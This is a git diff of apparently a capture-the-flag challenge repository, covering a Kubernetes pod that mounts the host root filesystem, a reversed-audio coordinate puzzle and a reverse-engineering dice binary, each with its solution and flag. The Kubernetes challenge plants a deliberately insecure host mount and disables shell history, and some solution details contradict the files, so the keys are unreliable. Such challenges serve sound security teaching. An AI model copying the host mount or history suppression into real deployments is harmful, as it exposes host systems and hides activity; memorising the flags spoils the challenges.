"1.3.8" + resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.8.tgz#0bf0be125b67014adcb0b0921e62db7bffe16b2e" + integrity sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw== + dependencies: + mime-types "~2.1.34" + negotiator "0.6.3" + +array-flatten@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2" + integrity sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg== + +body-parser@1.20.1, body-parser@^1.20.1: + version "1.20.1" + resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.20.1.tgz#b1812a8912c195cd371a3ee5e66faa2338a5c668" + integrity sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw== + dependencies: + bytes "3.1.2" + content-type "~1.0.4" + debug "2.6.9" + depd "2.0.0" + destroy "1.2.0" + http-errors "2.0.0" + iconv-lite "0.4.24" + on-finished "2.4.1" + qs "6.11.0" + raw-body "2.5.1" + type-is "~1.6.18" + unpipe "1.0.0" + +bytes@3.1.2: + version "3.1.2" + resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.2.tgz#8b0beeb98605adf1b128fa4386403c009e0221a5" + integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg== + +call-bind@^1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c" + integrity sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA== + dependencies: + function-bind "^1.1.1" + get-intrinsic "^1.0.2" + +content-disposition@0.5.4: + version "0.5.4" + resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.4.tgz#8b82b4efac82512a02bb0b1dcec9d2c5e8eb5bfe" + integrity sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ== + dependencies: + safe-buffer "5.2.1" + +content-type@~1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b" + integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA== + +cookie-signature@1.0.6: + version "1.0.6" + resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c" + integrity sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ== + +cookie@0.5.0: + version "0.5.0" + resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.5.0.tgz#d1f5d71adec6558c58f389987c366aa47e994f8b" + integrity sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw== + +debug@2.6.9: + version "2.6.9" + resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f" + integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA== + dependencies: + ms "2.0.0" + +depd@2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/depd/-/depd-2.0.0.tgz#b696163cc757560d09cf22cc8fad1571b79e76df" + integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw== + +destroy@1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.2.0.tgz#4803735509ad8be552934c67df614f94e66fa015" + integrity sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg== + +ee-first@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d" + integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow== + +encodeurl@~1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59" + integrity sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w== + +escape-html@~1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988" + integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow== + +etag@~1.8.1: + version "1.8.1" + resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887" + integrity sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg== + +express@^4.18.2: + version "4.18.2" + resolved "https://registry.yarnpkg.com/express/-/express-4.18.2.tgz#3fabe08296e930c796c19e3c516979386ba9fd59" + integrity sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ== + dependencies: + accepts "~1.3.8" + array-flatten "1.1.1" + body-parser "1.20.1" + content-disposition "0.5.4" + content-type "~1.0.4" + cookie "0.5.0" + cookie-signature "1.0.6" + debug "2.6.9" + depd "2.0.0" + encodeurl "~1.0.2" + escape-html "~1.0.3" + etag "~1.8.1" + finalhandler "1.2.0" + fresh "0.5.2" + http-errors "2.0.0" + merge-descriptors "1.0.1" + methods "~1.1.2" + on-finished "2.4.1" + parseurl "~1.3.3" + path-to-regexp "0.1.7" + proxy-addr "~2.0.7" + qs "6.11.0" + range-parser "~1.2.1" + safe-buffer "5.2.1" + send "0.18.0" + serve-static "1.15.0" + setprototypeof "1.2.0" + statuses "2.0.1" + type-is "~1.6.18" + utils-merge "1.0.1" + vary "~1.1.2" + +finalhandler@1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.2.0.tgz#7d23fe5731b207b4640e4fcd00aec1f9207a7b32" + integrity sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg== + dependencies: + debug "2.6.9" + encodeurl "~1.0.2" + escape-html "~1.0.3" + on-finished "2.4.1" + parseurl "~1.3.3" + statuses "2.0.1" + unpipe "~1.0.0" + +forwarded@0.2.0: + version "0.2.0" + resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811" + integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow== + +fresh@0.5.2: + version "0.5.2" + resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7" + integrity sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q== + +function-bind@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d" + integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A== + +get-intrinsic@^1.0.2: + version "1.1.3" + resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.1.3.tgz#063c84329ad93e83893c7f4f243ef63ffa351385" + integrity sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A== + dependencies: + function-bind "^1.1.1" + has "^1.0.3" + has-symbols "^1.0.3" + +has-symbols@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8" + integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A== + +has@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796" + integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw== + dependencies: + function-bind "^1.1.1" + +http-errors@2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-2.0.0.tgz#b7774a1486ef73cf7667ac9ae0858c012c57b9d3" + integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ== + dependencies: + depd "2.0.0" + inherits "2.0.4" + setprototypeof "1.2.0" + statuses "2.0.1" + toidentifier "1.0.1" + +iconv-lite@0.4.24: + version "0.4.24" + resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b" + integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA== + dependencies: + safer-buffer ">= 2.1.2 < 3" + +inherits@2.0.4: + version "2.0.4" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c" + integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== + +ipaddr.js@1.9.1: + version "1.9.1" + resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3" + integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g== + +media-typer@0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748" + integrity sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ== + +merge-descriptors@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61" + integrity sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w== + +methods@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee" + integrity sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w== + +mime-db@1.52.0: + version "1.52.0" + resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.52.0.tgz#bbabcdc02859f4987301c856e3387ce5ec43bf70" + integrity sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg== + +mime-types@~2.1.24, mime-types@~2.1.34: + version "2.1.35" + resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.35.tgz#381a871b62a734450660ae3deee44813f70d959a" + integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw== + dependencies: + mime-db "1.52.0" + +mime@1.6.0: + version "1.6.0" + resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1" + integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg== + +ms@2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" + integrity sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A== + +ms@2.1.3: + version "2.1.3" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2" + integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== + +negotiator@0.6.3: + version "0.6.3" + resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd" + integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg== + +object-inspect@^1.9.0: + version "1.12.2" + resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.12.2.tgz#c0641f26394532f28ab8d796ab954e43c009a8ea" + integrity sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ== + +on-finished@2.4.1: + version "2.4.1" + resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.4.1.tgz#58c8c44116e54845ad57f14ab10b03533184ac3f" + integrity sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg== + dependencies: + ee-first "1.1.1" + +parseurl@~1.3.3: + version "1.3.3" + resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4" + integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ== + +path-to-regexp@0.1.7: + version "0.1.7" + resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c" + integrity sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ== + +proxy-addr@~2.0.7: + version "2.0.7" + resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025" + integrity sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg== + dependencies: + forwarded "0.2.0" + ipaddr.js "1.9.1" + +qs@6.11.0: + version "6.11.0" + resolved "https://registry.yarnpkg.com/qs/-/qs-6.11.0.tgz#fd0d963446f7a65e1367e01abd85429453f0c37a" + integrity sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q== + dependencies: + side-channel "^1.0.4" + +range-parser@~1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031" + integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg== + +raw-body@2.5.1: + version "2.5.1" + resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.5.1.tgz#fe1b1628b181b700215e5fd42389f98b71392857" + integrity sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig== + dependencies: + bytes "3.1.2" + http-errors "2.0.0" + iconv-lite "0.4.24" + unpipe "1.0.0" + +safe-buffer@5.2.1: + version "5.2.1" + resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6" + integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== + +"safer-buffer@>= 2.1.2 < 3": + version "2.1.2" + resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a" + integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg== + +send@0.18.0: + version "0.18.0" + resolved "https://registry.yarnpkg.com/send/-/send-0.18.0.tgz#670167cc654b05f5aa4a767f9113bb371bc706be" + integrity sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg== + dependencies: + debug "2.6.9" + depd "2.0.0" + destroy "1.2.0" + encodeurl "~1.0.2" + escape-html "~1.0.3" + etag "~1.8.1" + fresh "0.5.2" + http-errors "2.0.0" + mime "1.6.0" + ms "2.1.3" + on-finished "2.4.1" + range-parser "~1.2.1" + statuses "2.0.1" + +serve-static@1.15.0: + version "1.15.0" + resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.15.0.tgz#faaef08cffe0a1a62f60cad0c4e513cff0ac9540" + integrity sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g== + dependencies: + encodeurl "~1.0.2" + escape-html "~1.0.3" + parseurl "~1.3.3" + send "0.18.0" + +setprototypeof@1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.2.0.tgz#66c9a24a73f9fc28cbe66b09fed3d33dcaf1b424" + integrity sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw== + +side-channel@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf" + integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw== + dependencies: + call-bind "^1.0.0" + get-intrinsic "^1.0.2" + object-inspect "^1.9.0" + +statuses@2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/statuses/-/statuses-2.0.1.tgz#55cb000ccf1d48728bd23c685a063998cf1a1b63" + integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ== + +toidentifier@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.1.tgz#3be34321a88a820ed1bd80dfaa33e479fbb8dd35" + integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA== + +type-is@~1.6.18: + version "1.6.18" + resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131" + integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g== + dependencies: + media-typer "0.3.0" + mime-types "~2.1.24" + +unpipe@1.0.0, unpipe@~1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" + integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ== + +utils-merge@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713" + integrity sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA== + +vary@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc" + integrity sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg== diff --git a/k8s_easter_eggs/part5/README.md b/k8s_easter_eggs/part5/README.md new file mode 100644 index 0000000..b0742a6 --- /dev/null +++ b/k8s_easter_eggs/part5/README.md @@ -0,0 +1,8 @@ +# K8s Easter Eggs 5 + +## The problem +Bob launched a debug deployment in order to figure out an issue, the pod in his deployment has a host filesystem mount. Bob has forgotten to delete the deployment after his rubber duck helped him figure out the solution. + +Connect to the pod, an you find some critical information that's on the host filesystem? + +Hint: It's in the format of X (insert some key format inserted in the logs here) diff --git a/k8s_easter_eggs/part5/SOLUTION.md b/k8s_easter_eggs/part5/SOLUTION.md new file mode 100644 index 0000000..414c434 --- /dev/null +++ b/k8s_easter_eggs/part5/SOLUTION.md @@ -0,0 +1,12 @@ +## Difficulty +Hard + +## Solution +``` +kubectl exec -it debug-deployment-684f6d76d7-t7rrq bash +cd /tmp/root/var/log +grep -R IGCTF-KLARRIO .* +``` + +## Flag +IGCTF-KLARRIO{bob_likes_alice} diff --git a/k8s_easter_eggs/part5/deployment.yaml b/k8s_easter_eggs/part5/deployment.yaml new file mode 100644 index 0000000..2ad45d9 --- /dev/null +++ b/k8s_easter_eggs/part5/deployment.yaml @@ -0,0 +1,29 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: debug-deployment + labels: + app: debug +spec: + replicas: 1 + selector: + matchLabels: + app: debug + template: + metadata: + labels: + app: debug + spec: + containers: + - name: debian + image: debian:latest + command: ["/bin/bash"] + args: ["-c", "echo 'set +o history' >> ~/.bashrc && sleep 100000h"] + volumeMounts: + - mountPath: /tmp/host + name: root-volume + volumes: + - name: root-volume + hostPath: + path: / + type: Directory diff --git a/mom-what-are-we-eating-today/3pm.74.3-:tamrof-etanidrooc-y b/mom-what-are-we-eating-today/3pm.74.3-:tamrof-etanidrooc-y new file mode 100644 index 0000000..0be5bf2 Binary files /dev/null and b/mom-what-are-we-eating-today/3pm.74.3-:tamrof-etanidrooc-y differ diff --git a/mom-what-are-we-eating-today/3pm.84.2:tamrof-etanidrooc-x b/mom-what-are-we-eating-today/3pm.84.2:tamrof-etanidrooc-x new file mode 100644 index 0000000..490dae0 Binary files /dev/null and b/mom-what-are-we-eating-today/3pm.84.2:tamrof-etanidrooc-x differ diff --git a/mom-what-are-we-eating-today/README.md b/mom-what-are-we-eating-today/README.md new file mode 100644 index 0000000..7b68372 --- /dev/null +++ b/mom-what-are-we-eating-today/README.md @@ -0,0 +1,11 @@ +# Mom, what are we eating today? +## Text +Today I was going to eat at my friend Andrew VOSK house. +Naturally I asked him what we were going to eat, but he also didn't know. +So he asked his mom but the only thing she send us were two cryptic files. + +For flag Abc Def the flag will be IGCTF{AbcDef} + +## Files +The files 3pm.84.2:tamrof-etanidrooc-x and 3pm.74.3-:tamrof-etanidrooc-y should be included + diff --git a/mom-what-are-we-eating-today/SOLUTION.md b/mom-what-are-we-eating-today/SOLUTION.md new file mode 100644 index 0000000..b7a15ab --- /dev/null +++ b/mom-what-are-we-eating-today/SOLUTION.md @@ -0,0 +1,42 @@ +# How To Solve +1) The files 3pm.x84.2 and 3pm.y74.3- are 2 mp3 files that should be reversed (in name and in audio). + This can be done by the following cmd for example: `sox 3pm.x84.2 file2.84x.mp3 reverse` + +2) Now you will have 2 audio files that describe a huge number that you will need to convert in digits. + You could use a speech to text convert like the [Vosk-api](https://github.com/alphacep/vosk-api/) to make the task easier. + To Do so: + - First convert the mp3 files into wav format: + `ffmpeg -i file2.84x.mp3 file2.84x.wav` + - Then install vosk via pip: + `pip3 install vosk` + - Then clone the vosk repo and download a english model: + ``` + git clone https://github.com/alphacep/vosk-api + cd vosk-api/python/example + wget https://alphacephei.com/vosk/models/vosk-model-en-us-0.22.zip + unzip vosk-model-en-us-0.22.zip + mv vosk-model-en-us-0.22.zip model + python3 ./test_simple.py test.wav > result.json + ``` + Other models could be found [here](https://alphacephei.com/vosk/models). + - Now You will have a json file with the result that can be found in the json "text" blocks. + The numbers should be correctly transcribed except for a few of the larger numbers. + This ones will probably need to be manually corrected. + - Once you can write a python script that convert large number words into numbers (use a list like [this one](https://en.wikipedia.org/wiki/Names_of_large_numbers) for reference) + or use a tool with the same capability on the internet (like [this one](https://codebeautify.org/word-to-number-converter)). + +3) After this you will have 2 large numbers of 50 digits. + You will use this numbers to create a coordinate. + This can be done by using the reversed file name. + For example for the file 3pm.y74.3- it will be -3.47y.mp3. + Which means a negative number with 3 digits before the decimal point, + 48 digits after the decimal point and y means it's the y-coordinate. + +4) if everything is done correctly you should get the coordinate: + 43.568203645634485382241100258703131642483581332123, -116.77239845463438156511102435434249128141577257065 + +5) Plug this coordinate into google maps and you will end up on the "Chicken Dinner Rd". + This you know we will eat a chicken dinner, creating the Flag IGCTF{ChickenDinnerRd}. + +## Flag +IGCTF{ChickenDinner} diff --git a/rigged-dice/README.md b/rigged-dice/README.md new file mode 100644 index 0000000..2f6601a --- /dev/null +++ b/rigged-dice/README.md @@ -0,0 +1,9 @@ +# Name of the challenge +## Text +I found this little game, and it is supposed to give me the flag once I can finally roll a higher number than my opponent. However, I cannot seem to get lucky enough to actually win this and I am starting to think this might actually be rigged. Can you figure out a way to get the flag? + +## Files +Only the `dice` file should be given to the challenger, NOT `rigged-dice.c`. + +## How to Deploy +/ diff --git a/rigged-dice/SOLUTION.md b/rigged-dice/SOLUTION.md new file mode 100644 index 0000000..024eba7 --- /dev/null +++ b/rigged-dice/SOLUTION.md @@ -0,0 +1,9 @@ +## Difficulty +Easy, 15 points. + +## How To Solve +Extract the strings from the binary, `strings -n6 dice`. The flag is split onto different lines, but you can combine these to get the actual flag. + +## Flag +IGCTF{Rev3rseEng1n33r1ng101} + diff --git a/rigged-dice/dice b/rigged-dice/dice new file mode 100644 index 0000000..91deff8 Binary files /dev/null and b/rigged-dice/dice differ diff --git a/rigged-dice/rigged-dice.c b/rigged-dice/rigged-dice.c new file mode 100644 index 0000000..555524f --- /dev/null +++ b/rigged-dice/rigged-dice.c @@ -0,0 +1,72 @@ +#include +#include +#include +#include + +char ffff[] = {0x49, 0x47, 0x43, 0x54, 0x46, 0x7b, 0x52, 0x00}; + +void f1() { printf("Let's play a fun game, I'm very good at this!\n"); } + +void f2() { + printf("Because I'm such a pro in this game, I'll up the stakes.\n"); +} + +char llll[] = {0x65, 0x76, 0x33, 0x72, 0x73, 0x65, 0x45, 0x00}; + +void f3() { printf("If you beat me, I'll give you a flag, how about that?\n"); } + +void f4() { + printf("The game is quite simple, type 'roll' to roll the dice.\n"); +} + +void f5() { + printf( + "Because I upped the stakes, I also win if I roll the same number. Fair " + "game.\n"); +} + +char aaaa[] = {0x6e, 0x67, 